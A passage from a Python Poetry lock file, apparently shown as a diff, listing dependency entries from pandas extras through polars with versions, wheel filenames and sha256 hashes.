"odfpy (>=1.4.1)", "openpyxl (>=3.1.0)", "pandas-gbq (>=0.19.0)", "psycopg2 (>=2.9.6)", "pyarrow (>=10.0.1)", "pymysql (>=1.0.2)", "pyreadstat (>=1.2.0)", "pytest (>=7.3.2)", "pytest-xdist (>=2.2.0)", "python-calamine (>=0.1.7)", "pyxlsb (>=1.0.10)", "qtpy (>=2.3.0)", "s3fs (>=2022.11.0)", "scipy (>=1.10.0)", "tables (>=3.8.0)", "tabulate (>=0.9.0)", "xarray (>=2022.12.0)", "xlrd (>=2.0.1)", "xlsxwriter (>=3.0.5)", "zstandard (>=0.19.0)"] +aws = ["s3fs (>=2022.11.0)"] +clipboard = ["PyQt5 (>=5.15.9)", "qtpy (>=2.3.0)"] +compression = ["zstandard (>=0.19.0)"] +computation = ["scipy (>=1.10.0)", "xarray (>=2022.12.0)"] +consortium-standard = ["dataframe-api-compat (>=0.1.7)"] +excel = ["odfpy (>=1.4.1)", "openpyxl (>=3.1.0)", "python-calamine (>=0.1.7)", "pyxlsb (>=1.0.10)", "xlrd (>=2.0.1)", "xlsxwriter (>=3.0.5)"] +feather = ["pyarrow (>=10.0.1)"] +fss = ["fsspec (>=2022.11.0)"] +gcp = ["gcsfs (>=2022.11.0)", "pandas-gbq (>=0.19.0)"] +hdf5 = ["tables (>=3.8.0)"] +html = ["beautifulsoup4 (>=4.11.2)", "html5lib (>=1.1)", "lxml (>=4.9.2)"] +mysql = ["SQLAlchemy (>=2.0.0)", "pymysql (>=1.0.2)"] +output-formatting = ["jinja2 (>=3.1.2)", "tabulate (>=0.9.0)"] +parquet = ["pyarrow (>=10.0.1)"] +performance = ["bottleneck (>=1.3.6)", "numba (>=0.56.4)", "numexpr (>=2.8.4)"] +plot = ["matplotlib (>=3.6.3)"] +postgresql = ["SQLAlchemy (>=2.0.0)", "adbc-driver-postgresql (>=0.8.0)", "psycopg2 (>=2.9.6)"] +pyarrow = ["pyarrow (>=10.0.1)"] +spss = ["pyreadstat (>=1.2.0)"] +sql-other = ["SQLAlchemy (>=2.0.0)", "adbc-driver-postgresql (>=0.8.0)", "adbc-driver-sqlite (>=0.8.0)"] +test = ["hypothesis (>=6.46.1)", "pytest (>=7.3.2)", "pytest-xdist (>=2.2.0)"] +xml = ["lxml (>=4.9.2)"] + +[[package]] +name = "parso" +version = "0.8.4" +description = "A Python Parser" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "parso-0.8.4-py2.py3-none-any.whl", hash = "sha256:a418670a20291dacd2dddc80c377c5c3791378ee1e8d12bffc35420643d43f18"}, + {file = "parso-0.8.4.tar.gz", hash = "sha256:eb3a7b58240fb99099a345571deecc0f9540ea5f4dd2fe14c2a99d6b281ab92d"}, +] + +[package.extras] +qa = ["flake8 (==5.0.4)", "mypy (==0.971)", "types-setuptools (==67.2.0.1)"] +testing = ["docopt", "pytest"] + +[[package]] +name = "pathspec" +version = "0.12.1" +description = "Utility library for gitignore style pattern matching of file paths." +optional = false +python-versions = ">=3.8" +groups = ["main", "dev"] +files = [ + {file = "pathspec-0.12.1-py3-none-any.whl", hash = "sha256:a0d503e138a4c123b27490a4f7beda6a01c6f288df0e4a8b79c7eb0dc7b4cc08"}, + {file = "pathspec-0.12.1.tar.gz", hash = "sha256:a482d51503a1ab33b1c67a6c3813a26953dbdc71c31dacaef9a838c4e29f5712"}, +] + +[[package]] +name = "pbr" +version = "6.1.1" +description = "Python Build Reasonableness" +optional = false +python-versions = ">=2.6" +groups = ["dev"] +files = [ + {file = "pbr-6.1.1-py2.py3-none-any.whl", hash = "sha256:38d4daea5d9fa63b3f626131b9d34947fd0c8be9b05a29276870580050a25a76"}, + {file = "pbr-6.1.1.tar.gz", hash = "sha256:93ea72ce6989eb2eed99d0f75721474f69ad88128afdef5ac377eb797c4bf76b"}, +] + +[package.dependencies] +setuptools = "*" + +[[package]] +name = "pdfminer-six" +version = "20250506" +description = "PDF parser and analyzer" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pdfminer_six-20250506-py3-none-any.whl", hash = "sha256:d81ad173f62e5f841b53a8ba63af1a4a355933cfc0ffabd608e568b9193909e3"}, + {file = "pdfminer_six-20250506.tar.gz", hash = "sha256:b03cc8df09cf3c7aba8246deae52e0bca7ebb112a38895b5e1d4f5dd2b8ca2e7"}, +] + +[package.dependencies] +charset-normalizer = ">=2.0.0" +cryptography = ">=36.0.0" + +[package.extras] +dev = ["atheris", "black", "mypy (==0.931)", "nox", "pytest"] +docs = ["sphinx", "sphinx-argparse"] +image = ["Pillow"] + +[[package]] +name = "pexpect" +version = "4.9.0" +description = "Pexpect allows easy control of interactive console applications." +optional = false +python-versions = "*" +groups = ["main"] +markers = "sys_platform != \"win32\" and sys_platform != \"emscripten\"" +files = [ + {file = "pexpect-4.9.0-py2.py3-none-any.whl", hash = "sha256:7236d1e080e4936be2dc3e326cec0af72acf9212a7e1d060210e70a47e253523"}, + {file = "pexpect-4.9.0.tar.gz", hash = "sha256:ee7d41123f3c9911050ea2c2dac107568dc43b2d3b0c7557a33212c398ead30f"}, +] + +[package.dependencies] +ptyprocess = ">=0.5" + +[[package]] +name = "pillow" +version = "11.3.0" +description = "Python Imaging Library (Fork)" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pillow-11.3.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:1b9c17fd4ace828b3003dfd1e30bff24863e0eb59b535e8f80194d9cc7ecf860"}, + {file = "pillow-11.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:65dc69160114cdd0ca0f35cb434633c75e8e7fad4cf855177a05bf38678f73ad"}, + {file = "pillow-11.3.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7107195ddc914f656c7fc8e4a5e1c25f32e9236ea3ea860f257b0436011fddd0"}, + {file = "pillow-11.3.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:cc3e831b563b3114baac7ec2ee86819eb03caa1a2cef0b481a5675b59c4fe23b"}, + {file = "pillow-11.3.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f1f182ebd2303acf8c380a54f615ec883322593320a9b00438eb842c1f37ae50"}, + {file = "pillow-11.3.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4445fa62e15936a028672fd48c4c11a66d641d2c05726c7ec1f8ba6a572036ae"}, + {file = "pillow-11.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:71f511f6b3b91dd543282477be45a033e4845a40278fa8dcdbfdb07109bf18f9"}, + {file = "pillow-11.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:040a5b691b0713e1f6cbe222e0f4f74cd233421e105850ae3b3c0ceda520f42e"}, + {file = "pillow-11.3.0-cp310-cp310-win32.whl", hash = "sha256:89bd777bc6624fe4115e9fac3352c79ed60f3bb18651420635f26e643e3dd1f6"}, + {file = "pillow-11.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:19d2ff547c75b8e3ff46f4d9ef969a06c30ab2d4263a9e287733aa8b2429ce8f"}, + {file = "pillow-11.3.0-cp310-cp310-win_arm64.whl", hash = "sha256:819931d25e57b513242859ce1876c58c59dc31587847bf74cfe06b2e0cb22d2f"}, + {file = "pillow-11.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:1cd110edf822773368b396281a2293aeb91c90a2db00d78ea43e7e861631b722"}, + {file = "pillow-11.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9c412fddd1b77a75aa904615ebaa6001f169b26fd467b4be93aded278266b288"}, + {file = "pillow-11.3.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7d1aa4de119a0ecac0a34a9c8bde33f34022e2e8f99104e47a3ca392fd60e37d"}, + {file = "pillow-11.3.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:91da1d88226663594e3f6b4b8c3c8d85bd504117d043740a8e0ec449087cc494"}, + {file = "pillow-11.3.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:643f189248837533073c405ec2f0bb250ba54598cf80e8c1e043381a60632f58"}, + {file = "pillow-11.3.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:106064daa23a745510dabce1d84f29137a37224831d88eb4ce94bb187b1d7e5f"}, + {file = "pillow-11.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:cd8ff254faf15591e724dc7c4ddb6bf4793efcbe13802a4ae3e863cd300b493e"}, + {file = "pillow-11.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:932c754c2d51ad2b2271fd01c3d121daaa35e27efae2a616f77bf164bc0b3e94"}, + {file = "pillow-11.3.0-cp311-cp311-win32.whl", hash = "sha256:b4b8f3efc8d530a1544e5962bd6b403d5f7fe8b9e08227c6b255f98ad82b4ba0"}, + {file = "pillow-11.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:1a992e86b0dd7aeb1f053cd506508c0999d710a8f07b4c791c63843fc6a807ac"}, + {file = "pillow-11.3.0-cp311-cp311-win_arm64.whl", hash = "sha256:30807c931ff7c095620fe04448e2c2fc673fcbb1ffe2a7da3fb39613489b1ddd"}, + {file = "pillow-11.3.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:fdae223722da47b024b867c1ea0be64e0df702c5e0a60e27daad39bf960dd1e4"}, + {file = "pillow-11.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:921bd305b10e82b4d1f5e802b6850677f965d8394203d182f078873851dada69"}, + {file = "pillow-11.3.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:eb76541cba2f958032d79d143b98a3a6b3ea87f0959bbe256c0b5e416599fd5d"}, + {file = "pillow-11.3.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:67172f2944ebba3d4a7b54f2e95c786a3a50c21b88456329314caaa28cda70f6"}, + {file = "pillow-11.3.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:97f07ed9f56a3b9b5f49d3661dc9607484e85c67e27f3e8be2c7d28ca032fec7"}, + {file = "pillow-11.3.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:676b2815362456b5b3216b4fd5bd89d362100dc6f4945154ff172e206a22c024"}, + {file = "pillow-11.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3e184b2f26ff146363dd07bde8b711833d7b0202e27d13540bfe2e35a323a809"}, + {file = "pillow-11.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6be31e3fc9a621e071bc17bb7de63b85cbe0bfae91bb0363c893cbe67247780d"}, + {file = "pillow-11.3.0-cp312-cp312-win32.whl", hash = "sha256:7b161756381f0918e05e7cb8a371fff367e807770f8fe92ecb20d905d0e1c149"}, + {file = "pillow-11.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:a6444696fce635783440b7f7a9fc24b3ad10a9ea3f0ab66c5905be1c19ccf17d"}, + {file = "pillow-11.3.0-cp312-cp312-win_arm64.whl", hash = "sha256:2aceea54f957dd4448264f9bf40875da0415c83eb85f55069d89c0ed436e3542"}, + {file = "pillow-11.3.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:1c627742b539bba4309df89171356fcb3cc5a9178355b2727d1b74a6cf155fbd"}, + {file = "pillow-11.3.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:30b7c02f3899d10f13d7a48163c8969e4e653f8b43416d23d13d1bbfdc93b9f8"}, + {file = "pillow-11.3.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:7859a4cc7c9295f5838015d8cc0a9c215b77e43d07a25e460f35cf516df8626f"}, + {file = "pillow-11.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ec1ee50470b0d050984394423d96325b744d55c701a439d2bd66089bff963d3c"}, + {file = "pillow-11.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7db51d222548ccfd274e4572fdbf3e810a5e66b00608862f947b163e613b67dd"}, + {file = "pillow-11.3.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:2d6fcc902a24ac74495df63faad1884282239265c6839a0a6416d33faedfae7e"}, + {file = "pillow-11.3.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f0f5d8f4a08090c6d6d578351a2b91acf519a54986c055af27e7a93feae6d3f1"}, + {file = "pillow-11.3.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c37d8ba9411d6003bba9e518db0db0c58a680ab9fe5179f040b0463644bc9805"}, + {file = "pillow-11.3.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:13f87d581e71d9189ab21fe0efb5a23e9f28552d5be6979e84001d3b8505abe8"}, + {file = "pillow-11.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:023f6d2d11784a465f09fd09a34b150ea4672e85fb3d05931d89f373ab14abb2"}, + {file = "pillow-11.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:45dfc51ac5975b938e9809451c51734124e73b04d0f0ac621649821a63852e7b"}, + {file = "pillow-11.3.0-cp313-cp313-win32.whl", hash = "sha256:a4d336baed65d50d37b88ca5b60c0fa9d81e3a87d4a7930d3880d1624d5b31f3"}, + {file = "pillow-11.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:0bce5c4fd0921f99d2e858dc4d4d64193407e1b99478bc5cacecba2311abde51"}, + {file = "pillow-11.3.0-cp313-cp313-win_arm64.whl", hash = "sha256:1904e1264881f682f02b7f8167935cce37bc97db457f8e7849dc3a6a52b99580"}, + {file = "pillow-11.3.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:4c834a3921375c48ee6b9624061076bc0a32a60b5532b322cc0ea64e639dd50e"}, + {file = "pillow-11.3.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:5e05688ccef30ea69b9317a9ead994b93975104a677a36a8ed8106be9260aa6d"}, + {file = "pillow-11.3.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1019b04af07fc0163e2810167918cb5add8d74674b6267616021ab558dc98ced"}, + {file = "pillow-11.3.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f944255db153ebb2b19c51fe85dd99ef0ce494123f21b9db4877ffdfc5590c7c"}, + {file = "pillow-11.3.0-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1f85acb69adf2aaee8b7da124efebbdb959a104db34d3a2cb0f3793dbae422a8"}, + {file = "pillow-11.3.0-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:05f6ecbeff5005399bb48d198f098a9b4b6bdf27b8487c7f38ca16eeb070cd59"}, + {file = "pillow-11.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:a7bc6e6fd0395bc052f16b1a8670859964dbd7003bd0af2ff08342eb6e442cfe"}, + {file = "pillow-11.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:83e1b0161c9d148125083a35c1c5a89db5b7054834fd4387499e06552035236c"}, + {file = "pillow-11.3.0-cp313-cp313t-win32.whl", hash = "sha256:2a3117c06b8fb646639dce83694f2f9eac405472713fcb1ae887469c0d4f6788"}, + {file = "pillow-11.3.0-cp313-cp313t-win_amd64.whl", hash = "sha256:857844335c95bea93fb39e0fa2726b4d9d758850b34075a7e3ff4f4fa3aa3b31"}, + {file = "pillow-11.3.0-cp313-cp313t-win_arm64.whl", hash = "sha256:8797edc41f3e8536ae4b10897ee2f637235c94f27404cac7297f7b607dd0716e"}, + {file = "pillow-11.3.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:d9da3df5f9ea2a89b81bb6087177fb1f4d1c7146d583a3fe5c672c0d94e55e12"}, + {file = "pillow-11.3.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:0b275ff9b04df7b640c59ec5a3cb113eefd3795a8df80bac69646ef699c6981a"}, + {file = "pillow-11.3.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:0743841cabd3dba6a83f38a92672cccbd69af56e3e91777b0ee7f4dba4385632"}, + {file = "pillow-11.3.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:2465a69cf967b8b49ee1b96d76718cd98c4e925414ead59fdf75cf0fd07df673"}, + {file = "pillow-11.3.0-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:41742638139424703b4d01665b807c6468e23e699e8e90cffefe291c5832b027"}, + {file = "pillow-11.3.0-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:93efb0b4de7e340d99057415c749175e24c8864302369e05914682ba642e5d77"}, + {file = "pillow-11.3.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7966e38dcd0fa11ca390aed7c6f20454443581d758242023cf36fcb319b1a874"}, + {file = "pillow-11.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:98a9afa7b9007c67ed84c57c9e0ad86a6000da96eaa638e4f8abe5b65ff83f0a"}, + {file = "pillow-11.3.0-cp314-cp314-win32.whl", hash = "sha256:02a723e6bf909e7cea0dac1b0e0310be9d7650cd66222a5f1c571455c0a45214"}, + {file = "pillow-11.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:a418486160228f64dd9e9efcd132679b7a02a5f22c982c78b6fc7dab3fefb635"}, + {file = "pillow-11.3.0-cp314-cp314-win_arm64.whl", hash = "sha256:155658efb5e044669c08896c0c44231c5e9abcaadbc5cd3648df2f7c0b96b9a6"}, + {file = "pillow-11.3.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:59a03cdf019efbfeeed910bf79c7c93255c3d54bc45898ac2a4140071b02b4ae"}, + {file = "pillow-11.3.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:f8a5827f84d973d8636e9dc5764af4f0cf2318d26744b3d902931701b0d46653"}, + {file = "pillow-11.3.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ee92f2fd10f4adc4b43d07ec5e779932b4eb3dbfbc34790ada5a6669bc095aa6"}, + {file = "pillow-11.3.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c96d333dcf42d01f47b37e0979b6bd73ec91eae18614864622d9b87bbd5bbf36"}, + {file = "pillow-11.3.0-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4c96f993ab8c98460cd0c001447bff6194403e8b1d7e149ade5f00594918128b"}, + {file = "pillow-11.3.0-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:41342b64afeba938edb034d122b2dda5db2139b9a4af999729ba8818e0056477"}, + {file = "pillow-11.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:068d9c39a2d1b358eb9f245ce7ab1b5c3246c7c8c7d9ba58cfa5b43146c06e50"}, + {file = "pillow-11.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:a1bc6ba083b145187f648b667e05a2534ecc4b9f2784c2cbe3089e44868f2b9b"}, + {file = "pillow-11.3.0-cp314-cp314t-win32.whl", hash = "sha256:118ca10c0d60b06d006be10a501fd6bbdfef559251ed31b794668ed569c87e12"}, + {file = "pillow-11.3.0-cp314-cp314t-win_amd64.whl", hash = "sha256:8924748b688aa210d79883357d102cd64690e56b923a186f35a82cbc10f997db"}, + {file = "pillow-11.3.0-cp314-cp314t-win_arm64.whl", hash = "sha256:79ea0d14d3ebad43ec77ad5272e6ff9bba5b679ef73375ea760261207fa8e0aa"}, + {file = "pillow-11.3.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:48d254f8a4c776de343051023eb61ffe818299eeac478da55227d96e241de53f"}, + {file = "pillow-11.3.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7aee118e30a4cf54fdd873bd3a29de51e29105ab11f9aad8c32123f58c8f8081"}, + {file = "pillow-11.3.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:23cff760a9049c502721bdb743a7cb3e03365fafcdfc2ef9784610714166e5a4"}, + {file = "pillow-11.3.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:6359a3bc43f57d5b375d1ad54a0074318a0844d11b76abccf478c37c986d3cfc"}, + {file = "pillow-11.3.0-cp39-cp39-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:092c80c76635f5ecb10f3f83d76716165c96f5229addbd1ec2bdbbda7d496e06"}, + {file = "pillow-11.3.0-cp39-cp39-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cadc9e0ea0a2431124cde7e1697106471fc4c1da01530e679b2391c37d3fbb3a"}, + {file = "pillow-11.3.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:6a418691000f2a418c9135a7cf0d797c1bb7d9a485e61fe8e7722845b95ef978"}, + {file = "pillow-11.3.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:97afb3a00b65cc0804d1c7abddbf090a81eaac02768af58cbdcaaa0a931e0b6d"}, + {file = "pillow-11.3.0-cp39-cp39-win32.whl", hash = "sha256:ea944117a7974ae78059fcc1800e5d3295172bb97035c0c1d9345fca1419da71"}, + {file = "pillow-11.3.0-cp39-cp39-win_amd64.whl", hash = "sha256:e5c5858ad8ec655450a7c7df532e9842cf8df7cc349df7225c60d5d348c8aada"}, + {file = "pillow-11.3.0-cp39-cp39-win_arm64.whl", hash = "sha256:6abdbfd3aea42be05702a8dd98832329c167ee84400a1d1f61ab11437f1717eb"}, + {file = "pillow-11.3.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:3cee80663f29e3843b68199b9d6f4f54bd1d4a6b59bdd91bceefc51238bcb967"}, + {file = "pillow-11.3.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:b5f56c3f344f2ccaf0dd875d3e180f631dc60a51b314295a3e681fe8cf851fbe"}, + {file = "pillow-11.3.0-pp310-pypy310_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e67d793d180c9df62f1f40aee3accca4829d3794c95098887edc18af4b8b780c"}, + {file = "pillow-11.3.0-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d000f46e2917c705e9fb93a3606ee4a819d1e3aa7a9b442f6444f07e77cf5e25"}, + {file = "pillow-11.3.0-pp310-pypy310_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:527b37216b6ac3a12d7838dc3bd75208ec57c1c6d11ef01902266a5a0c14fc27"}, + {file = "pillow-11.3.0-pp310-pypy310_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:be5463ac478b623b9dd3937afd7fb7ab3d79dd290a28e2b6df292dc75063eb8a"}, + {file = "pillow-11.3.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:8dc70ca24c110503e16918a658b869019126ecfe03109b754c402daff12b3d9f"}, + {file = "pillow-11.3.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7c8ec7a017ad1bd562f93dbd8505763e688d388cde6e4a010ae1486916e713e6"}, + {file = "pillow-11.3.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:9ab6ae226de48019caa8074894544af5b53a117ccb9d3b3dcb2871464c829438"}, + {file = "pillow-11.3.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:fe27fb049cdcca11f11a7bfda64043c37b30e6b91f10cb5bab275806c32f6ab3"}, + {file = "pillow-11.3.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:465b9e8844e3c3519a983d58b80be3f668e2a7a5db97f2784e7079fbc9f9822c"}, + {file = "pillow-11.3.0-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5418b53c0d59b3824d05e029669efa023bbef0f3e92e75ec8428f3799487f361"}, + {file = "pillow-11.3.0-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:504b6f59505f08ae014f724b6207ff6222662aab5cc9542577fb084ed0676ac7"}, + {file = "pillow-11.3.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:c84d689db21a1c397d001aa08241044aa2069e7587b398c8cc63020390b1c1b8"}, + {file = "pillow-11.3.0.tar.gz", hash = "sha256:3828ee7586cd0b2091b6209e5ad53e20d0649bbe87164a459d0676e035e8f523"}, +] + +[package.extras] +docs = ["furo", "olefile", "sphinx (>=8.2)", "sphinx-autobuild", "sphinx-copybutton", "sphinx-inline-tabs", "sphinxext-opengraph"] +fpx = ["olefile"] +mic = ["olefile"] +test-arrow = ["pyarrow"] +tests = ["check-manifest", "coverage (>=7.4.2)", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout", "pytest-xdist", "trove-classifiers (>=2024.10.12)"] +typing = ["typing-extensions"] +xmp = ["defusedxml"] + +[[package]] +name = "platformdirs" +version = "4.3.8" +description = "A small Python package for determining appropriate platform-specific dirs, e.g. a `user data dir`." +optional = false +python-versions = ">=3.9" +groups = ["main", "dev"] +files = [ + {file = "platformdirs-4.3.8-py3-none-any.whl", hash = "sha256:ff7059bb7eb1179e2685604f4aaf157cfd9535242bd23742eadc3c13542139b4"}, + {file = "platformdirs-4.3.8.tar.gz", hash = "sha256:3d512d96e16bcb959a814c9f348431070822a6496326a4be0911c40b5a74c2bc"}, +] + +[package.extras] +docs = ["furo (>=2024.8.6)", "proselint (>=0.14)", "sphinx (>=8.1.3)", "sphinx-autodoc-typehints (>=3)"] +test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=8.3.4)", "pytest-cov (>=6)", "pytest-mock (>=3.14)"] +type = ["mypy (>=1.14.1)"] + +[[package]] +name = "playwright" +version = "1.54.0" +description = "A high-level API to automate web browsers" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "playwright-1.54.0-py3-none-macosx_10_13_x86_64.whl", hash = "sha256:bf3b845af744370f1bd2286c2a9536f474cc8a88dc995b72ea9a5be714c9a77d"}, + {file = "playwright-1.54.0-py3-none-macosx_11_0_arm64.whl", hash = "sha256:780928b3ca2077aea90414b37e54edd0c4bbb57d1aafc42f7aa0b3fd2c2fac02"}, + {file = "playwright-1.54.0-py3-none-macosx_11_0_universal2.whl", hash = "sha256:81d0b6f28843b27f288cfe438af0a12a4851de57998009a519ea84cee6fbbfb9"}, + {file = "playwright-1.54.0-py3-none-manylinux1_x86_64.whl", hash = "sha256:09919f45cc74c64afb5432646d7fef0d19fff50990c862cb8d9b0577093f40cc"}, + {file = "playwright-1.54.0-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:13ae206c55737e8e3eae51fb385d61c0312eeef31535643bb6232741b41b6fdc"}, + {file = "playwright-1.54.0-py3-none-win32.whl", hash = "sha256:0b108622ffb6906e28566f3f31721cd57dda637d7e41c430287804ac01911f56"}, + {file = "playwright-1.54.0-py3-none-win_amd64.whl", hash = "sha256:9e5aee9ae5ab1fdd44cd64153313a2045b136fcbcfb2541cc0a3d909132671a2"}, + {file = "playwright-1.54.0-py3-none-win_arm64.whl", hash = "sha256:a975815971f7b8dca505c441a4c56de1aeb56a211290f8cc214eeef5524e8d75"}, +] + +[package.dependencies] +greenlet = ">=3.1.1,<4.0.0" +pyee = ">=13,<14" + +[[package]] +name = "pluggy" +version = "1.6.0" +description = "plugin and hook calling mechanisms for python" +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746"}, + {file = "pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3"}, +] + +[package.extras] +dev = ["pre-commit", "tox"] +testing = ["coverage", "pytest", "pytest-benchmark"] + +[[package]] +name = "polars" +version = "1.32.2" +description = "Blazingly fast DataFrame library" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "polars-1.32.2-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:f21da6a5210898ec800b7e9e667fb53eb9161b7ceb812ee6555ff5661a00e517"}, + {file = "polars-1.32.2-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:d3f4e061312ef6c2a907378ce407a6132734fe1a13f261a1984a1a9ca2f6febc"}, + {file = "polars-1.32.2-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a711a750cfc19f1f883d2b46895dd698abf4d446ca41c3bf510ced0ff1178057"}, + {file = "polars-1.32.2-cp39-abi3-manylinux_2_24_aarch64.whl", hash = 